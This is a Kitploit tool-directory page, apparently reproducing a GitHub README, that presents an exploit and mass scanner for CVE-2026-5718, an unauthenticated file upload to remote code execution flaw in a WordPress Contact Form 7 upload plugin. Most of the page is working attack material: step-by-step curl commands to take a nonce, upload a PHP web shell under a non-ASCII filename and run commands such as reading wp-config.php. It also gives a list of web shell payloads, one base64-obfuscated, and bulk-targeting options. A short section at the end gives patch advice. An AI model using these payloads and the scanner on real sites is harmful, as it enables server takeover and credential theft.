Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-5718 — CVE-2026-5718: رفع ملف غير مصادق عليه إلى RCE في إضافة DnD Upload CF7 | Kitploit
أدوات/GitHubGitHub/xxconi/cve-2026-5718
توليد الحمولةتحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقتطوير الحمولات
GitHubxxconi/cve-2026-5718

CVE-2026-5718

CVE-2026-5718: رفع ملف غير مصادق عليه إلى RCE في إضافة DnD Upload CF7

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-5718

CVE-2026-5718: رفع ملفات غير مصادَق عليه يؤدي إلى RCE في ملحق DnD Upload CF7

CVE-2026-5718 — ماسح RCE لرفع الملفات في DnD CF7

الملحق: Drag and Drop Multiple File Upload for Contact Form 7 Slug الملحق: drag-and-drop-multiple-file-upload-contact-form-7 معرف CVE: CVE-2026-5718 درجة CVSS: 8.1 (عالية) متجه CVSS: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H نوع الثغرة: رفع ملفات عشوائي غير مصادَق عليه → تنفيذ أوامر عن بُعد (RCE) الإصدارات المتأثرة: <= 1.3.9.6 الإصدار المُصَلَّح: 1.3.9.7 تاريخ النشر: 17 أبريل 2026 الباحث: Leonid Semenenko (lsemenenko) — Wordfence


📌 حول الثغرة

في ملحق Drag and Drop Multiple File Upload for Contact Form 7، يتضافر خطآن منطقيان مستقلان لتمكين المهاجمين غير المصادَقين من رفع قشرة ويب PHP.

  1. تدمير القائمة السوداء: يؤدي تكوين القائمة السوداء المخصص إلى استبدال قائمة الامتدادات الخطيرة الافتراضية بالكامل بدلاً من دمجها. لم يعد php محظورًا.

  • تجاوز عبر غير ASCII: وجود حرف غير ASCII في اسم الملف يمنع استدعاء الدالة wpcf7_antiscript_file_name(). يبقى امتداد .php محفوظًا ويُكتب الملف على القرص.


  • 🔍 ملخص الثغرة

    الحقلالقيمة
    اسم الملحقDrag and Drop Multiple File Upload for CF7
    معرف CVECVE-2026-5718
    درجة CVSS8.1 (عالية)
    نوع الثغرةرفع ملفات عشوائي غير مصادَق عليه
    الإصدار المتأثر<= 1.3.9.6
    الإصدار المُصَلَّح1.3.9.7
    الشرط المسبقتكوين مخصص blacklist-types في نموذج CF7

    ⚙️ التحليل الفني

    الثغرة 1 — Nonce متاح للعموم (السطر 62)

    root@kitploit:~
    // inc/dnd-upload-cf7.php — lines 62–71
    function dnd_wpcf7_nonce_check() {
        // Tek koruma: User-Agent'ta 'curl' kontrolü — kolayca atlatılır
        if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
            wp_send_json_error('Request blocked: cURL access is forbidden.');
        }
    
        if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
            // Geçersiz nonce → YENİ NONCE DÖNDÜRÜR
            wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
        }
    }
    

    إجراء wp_ajax_nopriv__wpcf7_check_nonce متاح للعموم دون مصادقة. عند إرسال nonce غير صالح، يُمنح nonce جديد مجانًا. يمكن تجاوز فحص curl باستخدام وكيل مستخدم (User-Agent) من Mozilla.


    الثغرة 2 — استبدال القائمة السوداء بدلاً من دمجها (السطر 883)

    root@kitploit:~
    // inc/dnd-upload-cf7.php — lines 883–886
    $blacklist_types = dnd_cf7_not_allowed_ext();
    // ↑ ~80 tehlikeli uzantı: php, php3, php4, pht, phtml, phar...
    
    if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
        $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
        // ↑ ASSIGNMENT (=) — MERGE DEĞİL
        // Özel liste: sadece ['zip']
        // 'php' artık listede YOK → kabul edilir
    }
    

    إعداد وسم النموذج المُشغِّل:

    root@kitploit:~
    [mfile upload-file filetypes="*" blacklist-types:zip]
    

    يريد المسؤول حظر ZIP ← يحذف الملحق قائمة الحظر الافتراضية بالكامل. أصبحت جميع الامتدادات الخطيرة، بما في ذلك php، مقبولة الآن.

    كما أن القائمة الثابتة في الكود (hardcoded) الخاصة بـ filetypes="*" ناقصة:

    root@kitploit:~
    // line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' EKSİK
    $not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
    

    الثغرة 3 — تجاوز الأحرف غير ASCII (السطر 970)

    root@kitploit:~
    // inc/dnd-upload-cf7.php — lines 969–972
    $ascii_name = dnd_cf7_remove_icons( $filename );
    
    if ( dnd_cf7_check_ascii( $ascii_name ) ) {
        // Sadece pure-ASCII dosya adları için çağrılır
        $filename = wpcf7_antiscript_file_name( $ascii_name );
        // ↑ shell.php → shell.php.txt yapardı — ama atlanıyor
    }
    // Non-ASCII karakter varsa bu blok ATLANIR
    // $filename = "shellシ.php" → .php uzantısı korunur
    
    root@kitploit:~
    // dnd_cf7_check_ascii() — lines 1029–1041
    function dnd_cf7_check_ascii( $string ) {
        $string = sanitize_file_name( $string );
        // ↑ Sadece lokal kopya değişir, dış $filename ETKİLENMEZ
        if ( mb_check_encoding( $string, 'ASCII' ) ) {
            return true;
        }
        return false;  // Non-ASCII karakter → false → antiscript atlanır
    }
    

    🔴 سلسلة الهجوم الكاملة

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────────┐
    │  POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce   │
    │  User-Agent: Mozilla/5.0  (curl değil)                     │
    │       │                                                     │
    │       ▼                                                     │
    │  {"success":true,"data":"abc123def456"}                     │
    │  → Nonce ücretsiz alındı                                    │
    └──────────────────────────┬──────────────────────────────────┘
                               │
    ┌──────────────────────────▼──────────────────────────────────┐
    │  POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload  │
    │  security=abc123def456                                      │
    │  upload-file=shellシ.php (Content-Type: application/x-php) │
    │       │                                                     │
    │       ├── Nonce geçerli ✓                                   │
    │       ├── blacklist=['zip'] → 'php' engellenmez ✓          │
    │       ├── dnd_cf7_check_ascii("shellシ.php") = false        │
    │       ├── wpcf7_antiscript_file_name() ATLANIR ✓           │
    │       └── move_uploaded_file("shellシ.php") → Diske yazıldı│
    └──────────────────────────┬──────────────────────────────────┘
                               │
    ┌──────────────────────────▼──────────────────────────────────┐
    │  GET /wp-content/uploads/wp_dndcf7_uploads/                 │
    │      wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id          │
    │       │                                                     │
    │       ▼                                                     │
    │  uid=33(www-data) gid=33(www-data) groups=33(www-data)     │
    │  → Unauthenticated RCE ✓                                    │
    └─────────────────────────────────────────────────────────────┘
    

    🧪 إثبات المفهوم (يدوي)

    ⚠️ إخلاء مسؤولية: يُقدَّم إثبات المفهوم هذا لأغراض البحث الأمني التعليمي والدفاعي فقط. استخدمه فقط على الأنظمة التي تملكها أو التي لديك إذن كتابي صريح لاختبارها.

    الشرط المسبق:

    • الملحق مثبّت ونشط (الإصدار <= 1.3.9.6)
    • يجب أن يحتوي نموذج CF7 على حقل [mfile] مع blacklist-types:
      root@kitploit:~
      [mfile upload-file filetypes="*" blacklist-types:zip]
      

    الخطوة 1 — الحصول على Nonce

    root@kitploit:~
    TARGET="https://target.example.com"
    
    NONCE=$(curl -s -X POST \
      "$TARGET/wp-admin/admin-ajax.php" \
      -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
      --data "action=_wpcf7_check_nonce" \
      | python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
    
    echo "Nonce: $NONCE"
    

    الاستجابة المتوقعة:

    root@kitploit:~
    {"success": true, "data": "abc123def456"}
    

    الخطوة 2 — إنشاء قشرة ويب باسم ملف غير ASCII

    root@kitploit:~
    # 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
    SHELL_FILENAME="shellシ.php"
    echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
    

    الخطوة 3 — رفع القشرة

    root@kitploit:~
    FORM_ID=1
    FIELD_NAME="upload-file"
    SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
    
    curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
      -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
      -F "action=dnd_codedropz_upload" \
      -F "security=${NONCE}" \
      -F "form_id=${FORM_ID}" \
      -F "upload_name=${FIELD_NAME}" \
      -F "upload_folder=${SESSION_FOLDER}" \
      -F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
    

    الاستجابة المتوقعة:

    root@kitploit:~
    {
      "success": true,
      "data": {
        "path": "<session-folder-uuid>",
        "file": "shellシ.php"
      }
    }
    

    الخطوة 4 — إنشاء رابط القشرة

    root@kitploit:~
    UPLOAD_PATH="<path-from-response>"
    SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
    echo "Shell URL: $SHELL_URL"
    

    الخطوة 5 — تفعيل RCE

    root@kitploit:~
    # id komutu
    curl -s "${SHELL_URL}?cmd=id"
    # uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    # wp-config.php oku
    curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
    

    🛠️ الماسح الآلي

    التثبيت

    root@kitploit:~
    git clone https://github.com/kullanici/cve-2026-5718-scanner
    cd cve-2026-5718-scanner
    pip install -r requirements.txt
    

    requirements.txt

    root@kitploit:~
    requests
    

    🚀 الاستخدام

    هدف واحد — تلقائي بالكامل

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com
    

    تحديد Form ID واسم الحقل يدويًا

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com \
      --form-id 1 --field-name upload-file
    

    قشرة كاملة + أمر مخصص

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com \
      --shell-type full --verify-cmd "whoami"
    

    فحص جماعي

    root@kitploit:~
    python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt
    

    عبر بروكسي (Burp Suite)

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com \
      --proxy http://127.0.0.1:8080
    

    ⚙️ المعاملات

    المعاملالمختصرالوصفالافتراضي
    --url-uعنوان هدف واحد—
    --list-lملف قائمة الأهداف—
    --threads-tعدد الخيوط10
    --output-oملف الإخراجrce_results.txt
    --form-id—معرّف نموذج CF7كشف تلقائي
    --field-name—اسم حقل mfileupload-file
    --shell-name—اسم ملف القشرةshell
    --shell-type—نوع القشرةsystem
    --verify-cmd—أمر التحقق من RCEid
    --proxy—عنوان البروكسي—
    --timeout—مهلة الطلب (ثانية)10
    --force—المتابعة حتى لو فشل اكتشاف الملحقFalse

    💀 أنواع القشرة

    النوعPayloadالوصف
    system<?php system($_GET["cmd"]); ?>أمر نظام أساسي
    passthru<?php passthru($_GET["cmd"]); ?>إخراج خام
    exec<?php echo exec($_GET["cmd"]); ?>تنفيذ صامت
    assert<?php assert($_POST["cmd"]); ?>تنفيذ عبر POST
    b64<?php eval(base64_decode($_POST["cmd"])); ?>تمويه Base64
    fullshell_exec + system + exec fallbackشامل بالكامل

    🔤 مجموعة الأحرف غير ASCII

    يجرب الماسح الأحرف التالية بالترتيب:

    الحرفUnicodeالوصف
    シU+30B7كاتاكانا Si (المستخدمة في إثبات المفهوم)
    жU+0436سيريلية
    ñU+00F1لاتينية ممتدة
    中U+4E2DCJK
    αU+03B1يونانية
    ßU+00DFألمانية

    📂 موقع رفع القشرة

    root@kitploit:~
    WordPress Kök/
    └── wp-content/
        └── uploads/
            └── wp_dndcf7_uploads/
                └── wpcf7-files/
                    └── <session-uuid>/
                        └── shellシ.php   ← Shell burada
    

    ⚠️ ملاحظة: يقوم الملحق افتراضيًا بحذف الملفات بعد ساعة واحدة. تظل القشرة قابلة للوصول خلال هذه الفترة.


    📊 حالات إخراج الماسح

    الحالةالوصف
    ★ RCE OKتم رفع القشرة + تنفيذ الأمر
    ★ SHELL ALIVEالقشرة قابلة للوصول مع استجابة مختلفة
    ~ EXEC_DISABLEDتوجد قشرة، لكن exec() معطّلة
    ~ HTACCESSتم رفع القشرة لكن .htaccess يمنعها
    ? UPLOADEDتم الرفع لكن لم يُعثر على الرابط
    - UPL_FAILفشل الرفع (تم التصحيح/لا يوجد تكوين)
    ~ NO_NONCEتعذّر الحصول على Nonce
    - NO_PLUGINالملحق غير مثبّت
    ~ UNREACHتعذّر الوصول إلى الهدف

    🖥️ مثال على إخراج الماسح

    root@kitploit:~
    [*] Hedef       : http://hedef.com
    [*] Form ID     : otomatik tespit
    [*] Shell Tipi  : system
    [*] Verify CMD  : id
    
    [→] http://hedef.com  Adım 1/5: Nonce alınıyor...
    [→] http://hedef.com  Adım 2/5: CF7 form tespiti...
    [→] http://hedef.com  Adım 3/5: Shell yükleniyor (non-ASCII bypass)...
    [→] http://hedef.com  Adım 4/5: Shell URL oluşturuluyor...
    [→] http://hedef.com  Adım 5/5: RCE doğrulanıyor...
    
    ═════════════════════════════════════════════════════════════════
    [★ RCE OK    ] http://hedef.com
      Sürüm       : 1.3.9.6
      Nonce       : abc123def4  (kaynak: ajax_endpoint)
      Non-ASCII   : シ
      Shell URL   : http://hedef.com/wp-content/uploads/wp_dndcf7_uploads/
                    wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
      RCE Çıktı  : uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ═════════════════════════════════════════════════════════════════
    
    [+] Kaydedildi → rce_results.txt
    

    🛡️ الدفاع / التصحيح

    الإجراءالتطبيق
    تحديث الملحققم بالترقية إلى الإصدار 1.3.9.7 فما فوق
    دمج القائمة السوداءاستخدم array_merge() بدلاً من =
    Antiscript إلزامييجب دائمًا استدعاء wpcf7_antiscript_file_name()
    حماية Nonceيجب إغلاق نقطة نهاية الـ Nonce أمام الوصول العام
    .htaccessامنع تنفيذ PHP في دليل الرفع

    الدمج الآمن للقائمة السوداء:

    root@kitploit:~
    // Güvensiz (mevcut — 1.3.9.6)
    $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
    
    // Güvenli (önerilen — 1.3.9.7+)
    $blacklist_types = array_merge(
        dnd_cf7_not_allowed_ext(),
        explode( '|', $blacklist["$cf7_upload_name"] )
    );
    

    Antiscript إلزامي (غير مشروط):

    root@kitploit:~
    // Güvensiz (mevcut)
    if ( dnd_cf7_check_ascii( $ascii_name ) ) {
        $filename = wpcf7_antiscript_file_name( $ascii_name );
    }
    
    // Güvenli (önerilen)
    $filename = wpcf7_antiscript_file_name( $filename );  // her zaman çağır
    

    .htaccess لدليل الرفع:

    root@kitploit:~
    <FilesMatch "\.php\d?$">
        Deny from all
    </FilesMatch>
    Options -ExecCGI
    AddType text/plain .php .php5 .phtml .phar
    

    📁 هيكل الملفات

    root@kitploit:~
    cve-2026-5718-scanner/
    ├── dnd_cf7_upload.py   # Ana tarayıcı
    ├── requirements.txt    # Bağımlılıklar
    └── README.md           # Bu dosya
    

    ⚠️ إخلاء مسؤولية قانوني

    أُعدّت هذه الأداة وإثبات المفهوم لاستخدامها فقط على الأنظمة المصرَّح بها، ولأغراض تعليمية وفي إطار اختبار الاختراق. يُعد استخدامها على أنظمة دون إذن جريمة بموجب المواد 243-245 من قانون العقوبات التركي والقوانين الدولية للجرائم الإلكترونية. لا يتحمل المطوّر أي مسؤولية قانونية ناجمة عن إساءة استخدام الأداة.


    📄 الترخيص

    MIT License — لأغراض التعليم والبحث فقط.


    🔗 المراجع

    • Wordfence Advisory
    • Plugin WordPress Directory
    • CVSS 3.1 Calculator
    • CWE-434: Unrestricted Upload of File with Dangerous Type
    • Unicode Non-ASCII Characters
    تنزيل الأداة